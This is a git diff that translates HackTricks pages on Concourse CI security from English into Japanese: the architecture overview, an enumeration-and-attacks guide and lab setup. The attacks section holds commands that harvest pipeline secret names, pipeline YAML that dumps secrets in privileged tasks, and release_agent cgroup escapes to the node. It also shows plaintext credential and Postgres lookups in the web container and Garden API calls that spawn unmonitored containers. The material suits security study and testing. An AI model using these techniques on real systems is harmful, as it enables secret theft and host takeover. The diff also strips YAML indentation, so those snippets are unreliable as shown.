+ATCはConcourseの中心です。**ウェブ UI と API**を実行し、すべてのパイプラインの**スケジューリング**を担当します。**PostgreSQL**に接続し、パイプラインデータ(ビルドログを含む)を保存します。
-The [checker](https://concourse-ci.org/checker.html)'s responsibility is to continuously checks for new versions of resources. The [scheduler](https://concourse-ci.org/scheduler.html) is responsible for scheduling builds for a job and the [build tracker](https://concourse-ci.org/build-tracker.html) is responsible for running any scheduled builds. The [garbage collector](https://concourse-ci.org/garbage-collector.html) is the cleanup mechanism for removing any unused or outdated objects, such as containers and volumes.
+[checker](https://concourse-ci.org/checker.html)の責任は、リソースの新しいバージョンを継続的にチェックすることです。[scheduler](https://concourse-ci.org/scheduler.html)はジョブのビルドをスケジュールする責任があり、[build tracker](https://concourse-ci.org/build-tracker.html)はスケジュールされたビルドを実行する責任があります。[garbage collector](https://concourse-ci.org/garbage-collector.html)は、未使用または古くなったオブジェクト(コンテナやボリュームなど)を削除するためのクリーンアップメカニズムです。
-#### TSA: worker registration & forwarding
+#### TSA: ワーカー登録 & 転送
-The TSA is a **custom-built SSH server** that is used solely for securely **registering** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) with the [ATC](https://concourse-ci.org/internals.html#component-atc).
+TSAは**カスタムビルドのSSHサーバー**であり、[**ワーカー**](https://concourse-ci.org/internals.html#architecture-worker)を[ATC](https://concourse-ci.org/internals.html#component-atc)に安全に**登録**するためだけに使用されます。
-The TSA by **default listens on port `2222`**, and is usually colocated with the [ATC](https://concourse-ci.org/internals.html#component-atc) and sitting behind a load balancer.
+TSAは**デフォルトでポート`2222`**でリッスンし、通常は[ATC](https://concourse-ci.org/internals.html#component-atc)と同じ場所に配置され、ロードバランサーの背後にあります。
-The **TSA implements CLI over the SSH connection,** supporting [**these commands**](https://concourse-ci.org/internals.html#component-tsa).
+**TSAはSSH接続を介してCLIを実装し、**[**これらのコマンド**](https://concourse-ci.org/internals.html#component-tsa)をサポートします。
#### Workers
-In order to execute tasks concourse must have some workers. These workers **register themselves** via the [TSA](https://concourse-ci.org/internals.html#component-tsa) and run the services [**Garden**](https://github.com/cloudfoundry-incubator/garden) and [**Baggageclaim**](https://github.com/concourse/baggageclaim).
+タスクを実行するために、Concourseはワーカーを持つ必要があります。これらのワーカーは[TSA](https://concourse-ci.org/internals.html#component-tsa)を介して**自分自身を登録**し、[**Garden**](https://github.com/cloudfoundry-incubator/garden)と[**Baggageclaim**](https://github.com/concourse/baggageclaim)のサービスを実行します。
-- **Garden**: This is the **Container Manage AP**I, usually run in **port 7777** via **HTTP**.
-- **Baggageclaim**: This is the **Volume Management API**, usually run in **port 7788** via **HTTP**.
+- **Garden**: これは**コンテナ管理API**で、通常は**ポート7777**で**HTTP**を介して実行されます。
+- **Baggageclaim**: これは**ボリューム管理API**で、通常は**ポート7788**で**HTTP**を介して実行されます。
## References
- [https://concourse-ci.org/internals.html](https://concourse-ci.org/internals.html)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
index 4b778a804..18192223e 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
@@ -4,49 +4,47 @@
{{#include ../../banners/hacktricks-training.md}}
-### User Roles & Permissions
+### ユーザーロールと権限
-Concourse comes with five roles:
+Concourse には5つのロールがあります:
-- _Concourse_ **Admin**: This role is only given to owners of the **main team** (default initial concourse team). Admins can **configure other teams** (e.g.: `fly set-team`, `fly destroy-team`...). The permissions of this role cannot be affected by RBAC.
-- **owner**: Team owners can **modify everything within the team**.
-- **member**: Team members can **read and write** within the **teams assets** but cannot modify the team settings.
-- **pipeline-operator**: Pipeline operators can perform **pipeline operations** such as triggering builds and pinning resources, however they cannot update pipeline configurations.
-- **viewer**: Team viewers have **"read-only" access to a team** and its pipelines.
+- _Concourse_ **Admin**: このロールは **メインチーム**(デフォルトの初期 concourse チーム)の所有者にのみ与えられます。管理者は **他のチームを構成**できます(例:`fly set-team`、`fly destroy-team`...)。このロールの権限は RBAC によって影響を受けません。
+- **owner**: チームの所有者は **チーム内のすべてを変更**できます。
+- **member**: チームメンバーは **チームの資産内で読み書き**できますが、チーム設定を変更することはできません。
+- **pipeline-operator**: パイプラインオペレーターは **パイプライン操作**(ビルドのトリガーやリソースのピン留めなど)を実行できますが、パイプライン設定を更新することはできません。
+- **viewer**: チームのビューワーはチームとそのパイプラインに **「読み取り専用」アクセス**を持っています。
> [!NOTE]
-> Moreover, the **permissions of the roles owner, member, pipeline-operator and viewer can be modified** configuring RBAC (configuring more specifically it's actions). Read more about it in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
+> さらに、**owner、member、pipeline-operator、viewer のロールの権限は** RBAC を構成することで変更できます(具体的にはそのアクションを構成します)。詳細については、[https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)を参照してください。
-Note that Concourse **groups pipelines inside Teams**. Therefore users belonging to a Team will be able to manage those pipelines and **several Teams** might exist. A user can belong to several Teams and have different permissions inside each of them.
+Concourse は **チーム内にパイプラインをグループ化**します。したがって、チームに属するユーザーはそれらのパイプラインを管理でき、**複数のチーム**が存在する可能性があります。ユーザーは複数のチームに属し、それぞれのチーム内で異なる権限を持つことができます。
### Vars & Credential Manager
-In the YAML configs you can configure values using the syntax `((_source-name_:_secret-path_._secret-field_))`.\
-[From the docs:](https://concourse-ci.org/vars.html#var-syntax) The **source-name is optional**, and if omitted, the [cluster-wide credential manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) will be used, or the value may be provided [statically](https://concourse-ci.org/vars.html#static-vars).\
-The **optional \_secret-field**\_ specifies a field on the fetched secret to read. If omitted, the credential manager may choose to read a 'default field' from the fetched credential if the field exists.\
-Moreover, the _**secret-path**_ and _**secret-field**_ may be surrounded by double quotes `"..."` if they **contain special characters** like `.` and `:`. For instance, `((source:"my.secret"."field:1"))` will set the _secret-path_ to `my.secret` and the _secret-field_ to `field:1`.
+YAML 設定では、`((_source-name_:_secret-path_._secret-field_))` の構文を使用して値を構成できます。\
+[ドキュメントから:](https://concourse-ci.org/vars.html#var-syntax) **source-name はオプション**であり、省略した場合は [クラスター全体の資格情報マネージャー](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) が使用されるか、値が [静的に提供される](https://concourse-ci.org/vars.html#static-vars)場合があります。\
+**オプションの \_secret-field**\_ は、取得したシークレットから読み取るフィールドを指定します。省略した場合、資格情報マネージャーはフィールドが存在する場合、取得した資格情報から「デフォルトフィールド」を読み取ることを選択することがあります。\
+さらに、_**secret-path**_ と _**secret-field**_ は、`。` や `:` のような **特殊文字**を含む場合、二重引用符 `"..."` で囲むことができます。たとえば、`((source:"my.secret"."field:1"))` は _secret-path_ を `my.secret` に、_secret-field_ を `field:1` に設定します。
-#### Static Vars
-
-Static vars can be specified in **tasks steps**:
+#### 静的変数
+静的変数は **タスクステップ**で指定できます:
```yaml
- task: unit-1.13
- file: booklit/ci/unit.yml
- vars: { tag: 1.13 }
+file: booklit/ci/unit.yml
+vars: { tag: 1.13 }
```
-
Or using the following `fly` **arguments**:
-- `-v` or `--var` `NAME=VALUE` sets the string `VALUE` as the value for the var `NAME`.
-- `-y` or `--yaml-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the var `NAME`.
-- `-i` or `--instance-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the instance var `NAME`. See [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) to learn more about instance vars.
-- `-l` or `--load-vars-from` `FILE` loads `FILE`, a YAML document containing mapping var names to values, and sets them all.
+- `-v` or `--var` `NAME=VALUE` は、文字列 `VALUE` を var `NAME` の値として設定します。
+- `-y` or `--yaml-var` `NAME=VALUE` は、`VALUE` を YAML として解析し、var `NAME` の値として設定します。
+- `-i` or `--instance-var` `NAME=VALUE` は、`VALUE` を YAML として解析し、インスタンス var `NAME` の値として設定します。インスタンス var について詳しくは [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) を参照してください。
+- `-l` or `--load-vars-from` `FILE` は、var 名と値のマッピングを含む YAML ドキュメント `FILE` を読み込み、すべてを設定します。
#### Credential Management
-There are different ways a **Credential Manager can be specified** in a pipeline, read how in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
-Moreover, Concourse supports different credential managers:
+パイプラインで **Credential Manager を指定する方法** はいくつかあります。詳細は [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html) をお読みください。\
+さらに、Concourse は異なる Credential Manager をサポートしています:
- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html)
- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html)
@@ -59,160 +57,151 @@ Moreover, Concourse supports different credential managers:
- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)
> [!CAUTION]
-> Note that if you have some kind of **write access to Concourse** you can create jobs to **exfiltrate those secrets** as Concourse needs to be able to access them.
+> Concourse に対して何らかの **書き込みアクセス** がある場合、**それらの秘密を外部に持ち出す** ジョブを作成できることに注意してください。Concourse はそれらにアクセスできる必要があります。
### Concourse Enumeration
-In order to enumerate a concourse environment you first need to **gather valid credentials** or to find an **authenticated token** probably in a `.flyrc` config file.
+Concourse 環境を列挙するには、まず **有効な資格情報を収集する** か、`.flyrc` 設定ファイルにある **認証トークンを見つける** 必要があります。
#### Login and Current User enum
-- To login you need to know the **endpoint**, the **team name** (default is `main`) and a **team the user belongs to**:
- - `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
-- Get configured **targets**:
- - `fly targets`
-- Get if the configured **target connection** is still **valid**:
- - `fly -t status`
-- Get **role** of the user against the indicated target:
- - `fly -t userinfo`
+- ログインするには、**エンドポイント**、**チーム名**(デフォルトは `main`)、および **ユーザーが所属するチーム** を知っている必要があります:
+- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
+- 設定された **ターゲット** を取得:
+- `fly targets`
+- 設定された **ターゲット接続** がまだ **有効** かどうかを確認:
+- `fly -t status`
+- 指定されたターゲットに対するユーザーの **役割** を取得:
+- `fly -t userinfo`
> [!NOTE]
-> Note that the **API token** is **saved** in `$HOME/.flyrc` by default, you looting a machines you could find there the credentials.
+> **API トークン** はデフォルトで `$HOME/.flyrc` に **保存** されるため、マシンを略奪する際にそこに資格情報が見つかる可能性があります。
#### Teams & Users
-- Get a list of the Teams
- - `fly -t teams`
-- Get roles inside team
- - `fly -t get-team -n `
-- Get a list of users
- - `fly -t active-users`
+- チームのリストを取得:
+- `fly -t teams`
+- チーム内の役割を取得:
+- `fly -t get-team -n `
+- ユーザーのリストを取得:
+- `fly -t active-users`
#### Pipelines
-- **List** pipelines:
- - `fly -t pipelines -a`
-- **Get** pipeline yaml (**sensitive information** might be found in the definition):
- - `fly -t get-pipeline -p `
-- Get all pipeline **config declared vars**
- - `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
-- Get all the **pipelines secret names used** (if you can create/modify a job or hijack a container you could exfiltrate them):
-
+- **パイプラインのリスト**:
+- `fly -t pipelines -a`
+- パイプラインの YAML を **取得**(**機密情報**が定義に含まれている可能性があります):
+- `fly -t get-pipeline -p `
+- すべてのパイプライン **設定された変数** を取得:
+- `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
+- 使用されているすべての **パイプラインの秘密の名前** を取得(ジョブを作成/変更したり、コンテナをハイジャックしたりできる場合、外部に持ち出すことができます):
```bash
rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
- echo $pipename;
- fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
- echo "";
+echo $pipename;
+fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
+echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt
```
+#### コンテナとワーカー
-#### Containers & Workers
+- **ワーカー**のリスト:
+- `fly -t workers`
+- **コンテナ**のリスト:
+- `fly -t containers`
+- **ビルド**のリスト(実行中のものを確認するため):
+- `fly -t builds`
-- List **workers**:
- - `fly -t workers`
-- List **containers**:
- - `fly -t containers`
-- List **builds** (to see what is running):
- - `fly -t builds`
+### Concourse攻撃
-### Concourse Attacks
-
-#### Credentials Brute-Force
+#### 認証情報ブルートフォース
- admin:admin
- test:test
-#### Secrets and params enumeration
+#### シークレットとパラメータの列挙
-In the previous section we saw how you can **get all the secrets names and vars** used by the pipeline. The **vars might contain sensitive info** and the name of the **secrets will be useful later to try to steal** them.
+前のセクションでは、パイプラインで使用される**すべてのシークレット名と変数**を**取得する方法**を見ました。**変数には機密情報が含まれている可能性があり**、**シークレットの名前は後でそれらを盗むために役立ちます**。
-#### Session inside running or recently run container
-
-If you have enough privileges (**member role or more**) you will be able to **list pipelines and roles** and just get a **session inside** the `/` **container** using:
+#### 実行中または最近実行されたコンテナ内のセッション
+十分な権限(**メンバー役割以上**)があれば、**パイプラインと役割をリスト**し、次のコマンドを使用して**/** **コンテナ内にセッションを取得**できます:
```bash
fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options
```
+これらの権限があれば、次のことができるかもしれません:
-With these permissions you might be able to:
+- **コンテナ**内の**秘密**を**盗む**
+- **ノード**に**脱出**しようとする
+- **クラウドメタデータ**エンドポイントを列挙/悪用する(ポッドおよびノードから、可能であれば)
-- **Steal the secrets** inside the **container**
-- Try to **escape** to the node
-- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node, if possible)
-
-#### Pipeline Creation/Modification
-
-If you have enough privileges (**member role or more**) you will be able to **create/modify new pipelines.** Check this example:
+#### パイプラインの作成/変更
+十分な権限(**メンバー役割以上**)があれば、**新しいパイプラインを作成/変更**することができます。次の例を確認してください:
```yaml
jobs:
- - name: simple
- plan:
- - task: simple-task
- privileged: true
- config:
- # Tells Concourse which type of worker this task should run on
- platform: linux
- image_resource:
- type: registry-image
- source:
- repository: busybox # images are pulled from docker hub by default
- run:
- path: sh
- args:
- - -cx
- - |
- echo "$SUPER_SECRET"
- sleep 1000
- params:
- SUPER_SECRET: ((super.secret))
+- name: simple
+plan:
+- task: simple-task
+privileged: true
+config:
+# Tells Concourse which type of worker this task should run on
+platform: linux
+image_resource:
+type: registry-image
+source:
+repository: busybox # images are pulled from docker hub by default
+run:
+path: sh
+args:
+- -cx
+- |
+echo "$SUPER_SECRET"
+sleep 1000
+params:
+SUPER_SECRET: ((super.secret))
```
+新しいパイプラインの**変更/作成**により、次のことが可能になります:
-With the **modification/creation** of a new pipeline you will be able to:
+- **秘密**を**盗む**(エコー出力するか、コンテナ内に入り`env`を実行することで)
+- **ノード**に**脱出**する(十分な権限を与えることで - `privileged: true`)
+- **クラウドメタデータ**エンドポイントを列挙/悪用する(ポッドおよびノードから)
+- 作成したパイプラインを**削除**する
-- **Steal** the **secrets** (via echoing them out or getting inside the container and running `env`)
-- **Escape** to the **node** (by giving you enough privileges - `privileged: true`)
-- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node)
-- **Delete** created pipeline
-
-#### Execute Custom Task
-
-This is similar to the previous method but instead of modifying/creating a whole new pipeline you can **just execute a custom task** (which will probably be much more **stealthier**):
+#### カスタムタスクの実行
+これは前の方法に似ていますが、全く新しいパイプラインを変更/作成する代わりに、**カスタムタスクを実行するだけ**で済みます(おそらくはるかに**ステルス性**が高いでしょう):
```yaml
# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
- type: registry-image
- source:
- repository: ubuntu
+type: registry-image
+source:
+repository: ubuntu
run:
- path: sh
- args:
- - -cx
- - |
- env
- sleep 1000
+path: sh
+args:
+- -cx
+- |
+env
+sleep 1000
params:
- SUPER_SECRET: ((super.secret))
+SUPER_SECRET: ((super.secret))
```
```bash
fly -t tutorial execute --privileged --config task_config.yml
```
+#### 特権タスクからノードへのエスケープ
-#### Escaping to the node from privileged task
-
-In the previous sections we saw how to **execute a privileged task with concourse**. This won't give the container exactly the same access as the privileged flag in a docker container. For example, you won't see the node filesystem device in /dev, so the escape could be more "complex".
-
-In the following PoC we are going to use the release_agent to escape with some small modifications:
+前のセクションでは、**concourseで特権タスクを実行する方法**を見ました。これは、dockerコンテナの特権フラグと同じアクセスをコンテナに与えるわけではありません。例えば、/devにノードのファイルシステムデバイスは表示されないため、エスケープはより「複雑」になる可能性があります。
+次のPoCでは、リリースエージェントを使用して、いくつかの小さな変更を加えてエスケープします:
```bash
# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
@@ -270,14 +259,12 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
```
-
> [!WARNING]
-> As you might have noticed this is just a [**regular release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) just modifying the path of the cmd in the node
+> ご覧の通り、これは単なる [**通常の release_agent エスケープ**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) であり、ノード内の cmd のパスを変更するだけです。
-#### Escaping to the node from a Worker container
-
-A regular release_agent escape with a minor modification is enough for this:
+#### ワーカーコンテナからノードへのエスケープ
+このためには、わずかな修正を加えた通常の release_agent エスケープで十分です:
```bash
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
@@ -304,13 +291,11 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
```
+#### Webコンテナからノードへのエスケープ
-#### Escaping to the node from the Web container
-
-Even if the web container has some defenses disabled it's **not running as a common privileged container** (for example, you **cannot** **mount** and the **capabilities** are very **limited**, so all the easy ways to escape from the container are useless).
-
-However, it stores **local credentials in clear text**:
+ウェブコンテナにいくつかの防御が無効になっていても、それは**一般的な特権コンテナとして実行されていません**(例えば、**マウント**できず、**能力**は非常に**制限されています**。そのため、コンテナからエスケープするための簡単な方法は無駄です)。
+しかし、**ローカルの資格情報を平文で保存しています**:
```bash
cat /concourse-auth/local-users
test:test
@@ -319,11 +304,9 @@ env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test
```
+その資格情報を使用して、**ウェブサーバーにログイン**し、**特権コンテナを作成してノードに脱出**することができます。
-You cloud use that credentials to **login against the web server** and **create a privileged container and escape to the node**.
-
-In the environment you can also find information to **access the postgresql** instance that concourse uses (address, **username**, **password** and database among other info):
-
+環境内では、concourseが使用する**postgresql**インスタンスにアクセスするための情報(アドレス、**ユーザー名**、**パスワード**、およびデータベースなどの情報)も見つけることができます。
```bash
env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
@@ -344,39 +327,35 @@ select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;
```
-
-#### Abusing Garden Service - Not a real Attack
+#### ガーデンサービスの悪用 - 実際の攻撃ではない
> [!WARNING]
-> This are just some interesting notes about the service, but because it's only listening on localhost, this notes won't present any impact we haven't already exploited before
+> これはサービスに関するいくつかの興味深いメモですが、ローカルホストでのみリッスンしているため、これらのメモは私たちがすでに利用したことのない影響をもたらすことはありません。
-By default each concourse worker will be running a [**Garden**](https://github.com/cloudfoundry/garden) service in port 7777. This service is used by the Web master to indicate the worker **what he needs to execute** (download the image and run each task). This sound pretty good for an attacker, but there are some nice protections:
+デフォルトでは、各コンコースワーカーはポート7777で[**Garden**](https://github.com/cloudfoundry/garden)サービスを実行します。このサービスは、ウェブマスターがワーカーに**実行する必要があること**(イメージをダウンロードし、各タスクを実行する)を示すために使用されます。これは攻撃者にとってはかなり良いように思えますが、いくつかの優れた保護があります:
-- It's just **exposed locally** (127..0.0.1) and I think when the worker authenticates agains the Web with the special SSH service, a tunnel is created so the web server can **talk to each Garden service** inside each worker.
-- The web server is **monitoring the running containers every few seconds**, and **unexpected** containers are **deleted**. So if you want to **run a custom container** you need to **tamper** with the **communication** between the web server and the garden service.
-
-Concourse workers run with high container privileges:
+- それは**ローカルにのみ公開されています**(127..0.0.1)し、ワーカーが特別なSSHサービスでウェブに対して認証されるとき、トンネルが作成され、ウェブサーバーが各ワーカー内の**各Gardenサービス**と**通信できる**ようになります。
+- ウェブサーバーは**数秒ごとに実行中のコンテナを監視しており**、**予期しない**コンテナは**削除されます**。したがって、**カスタムコンテナを実行したい**場合は、ウェブサーバーとガーデンサービス間の**通信**を**改ざん**する必要があります。
+コンコースワーカーは高いコンテナ特権で実行されます:
```
Container Runtime: docker
Has Namespaces:
- pid: true
- user: false
+pid: true
+user: false
AppArmor Profile: kernel
Capabilities:
- BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
+BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled
```
-
-However, techniques like **mounting** the /dev device of the node or release_agent **won't work** (as the real device with the filesystem of the node isn't accesible, only a virtual one). We cannot access processes of the node, so escaping from the node without kernel exploits get complicated.
+しかし、ノードの /dev デバイスや release_agent を **マウント**するような技術は **機能しません**(ノードのファイルシステムを持つ実際のデバイスにはアクセスできず、仮想デバイスのみです)。ノードのプロセスにアクセスできないため、カーネルエクスプロイトなしでノードから脱出することは複雑になります。
> [!NOTE]
-> In the previous section we saw how to escape from a privileged container, so if we can **execute** commands in a **privileged container** created by the **current** **worker**, we could **escape to the node**.
+> 前のセクションでは特権コンテナから脱出する方法を見ましたので、**現在の** **ワーカー**によって作成された **特権コンテナ** でコマンドを **実行**できる場合、**ノードに脱出**できる可能性があります。
-Note that playing with concourse I noted that when a new container is spawned to run something, the container processes are accessible from the worker container, so it's like a container creating a new container inside of it.
-
-**Getting inside a running privileged container**
+concourseで遊んでいると、新しいコンテナが何かを実行するために生成されるとき、コンテナプロセスはワーカーコンテナからアクセス可能であることに気付きました。つまり、コンテナがその内部に新しいコンテナを作成しているようなものです。
+**実行中の特権コンテナに入る**
```bash
# Get current container
curl 127.0.0.1:7777/containers
@@ -389,30 +368,26 @@ curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties
# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
- --header='Content-Type:application/json' \
- 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
+--header='Content-Type:application/json' \
+'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh
```
+**新しい特権コンテナの作成**
-**Creating a new privileged container**
-
-You can very easily create a new container (just run a random UID) and execute something on it:
-
+ランダムなUIDを実行するだけで、新しいコンテナを非常に簡単に作成し、その上で何かを実行できます:
```bash
curl -X POST http://127.0.0.1:7777/containers \
- -H 'Content-Type: application/json' \
- -d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
+-H 'Content-Type: application/json' \
+-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
- --header='Content-Type:application/json' \
- 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
+--header='Content-Type:application/json' \
+'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
```
-
-However, the web server is checking every few seconds the containers that are running, and if an unexpected one is discovered, it will be deleted. As the communication is occurring in HTTP, you could tamper the communication to avoid the deletion of unexpected containers:
-
+しかし、ウェブサーバーは数秒ごとに実行中のコンテナをチェックしており、予期しないコンテナが発見されると削除されます。通信がHTTPで行われているため、予期しないコンテナの削除を回避するために通信を改ざんすることができます:
```
GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
@@ -434,13 +409,8 @@ Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
```
-
-## References
+## 参考文献
- https://concourse-ci.org/vars.html
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
index 0cc6363a7..6aad9d1ff 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
@@ -2,25 +2,22 @@
{{#include ../../banners/hacktricks-training.md}}
-## Testing Environment
+## テスト環境
-### Running Concourse
+### Concourseの実行
-#### With Docker-Compose
-
-This docker-compose file simplifies the installation to do some tests with concourse:
+#### Docker-Composeを使用して
+このdocker-composeファイルは、concourseでいくつかのテストを行うためのインストールを簡素化します:
```bash
wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml
docker-compose up -d
```
+`fly`コマンドラインをあなたのOS用にウェブから`127.0.0.1:8080`でダウンロードできます。
-You can download the command line `fly` for your OS from the web in `127.0.0.1:8080`
-
-#### With Kubernetes (Recommended)
-
-You can easily deploy concourse in **Kubernetes** (in **minikube** for example) using the helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart).
+#### Kubernetesを使用して(推奨)
+**Kubernetes**(例えば**minikube**)に簡単にconcourseをデプロイするには、helm-chartを使用します: [**concourse-chart**](https://github.com/concourse/concourse-chart)。
```bash
brew install helm
helm repo add concourse https://concourse-charts.storage.googleapis.com/
@@ -31,94 +28,90 @@ helm install concourse-release concourse/concourse
# If you need to delete it
helm delete concourse-release
```
-
-After generating the concourse env, you could generate a secret and give a access to the SA running in concourse web to access K8s secrets:
-
+concourse envを生成した後、秘密を生成し、concourse webで実行されているSAにK8sの秘密にアクセスする権限を与えることができます:
```yaml
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
- name: read-secrets
+name: read-secrets
rules:
- apiGroups: [""]
- resources: ["secrets"]
- verbs: ["get"]
+resources: ["secrets"]
+verbs: ["get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
- name: read-secrets-concourse
+name: read-secrets-concourse
roleRef:
- apiGroup: rbac.authorization.k8s.io
- kind: ClusterRole
- name: read-secrets
+apiGroup: rbac.authorization.k8s.io
+kind: ClusterRole
+name: read-secrets
subjects:
- kind: ServiceAccount
- name: concourse-release-web
- namespace: default
+name: concourse-release-web
+namespace: default
---
apiVersion: v1
kind: Secret
metadata:
- name: super
- namespace: concourse-release-main
+name: super
+namespace: concourse-release-main
type: Opaque
data:
- secret: MWYyZDFlMmU2N2Rm
+secret: MWYyZDFlMmU2N2Rm
' | kubectl apply -f -
```
+### パイプラインの作成
-### Create Pipeline
+パイプラインは、順序付きの[ステップ](https://concourse-ci.org/steps.html)のリストを含む[ジョブ](https://concourse-ci.org/jobs.html)のリストで構成されています。
-A pipeline is made of a list of [Jobs](https://concourse-ci.org/jobs.html) which contains an ordered list of [Steps](https://concourse-ci.org/steps.html).
+### ステップ
-### Steps
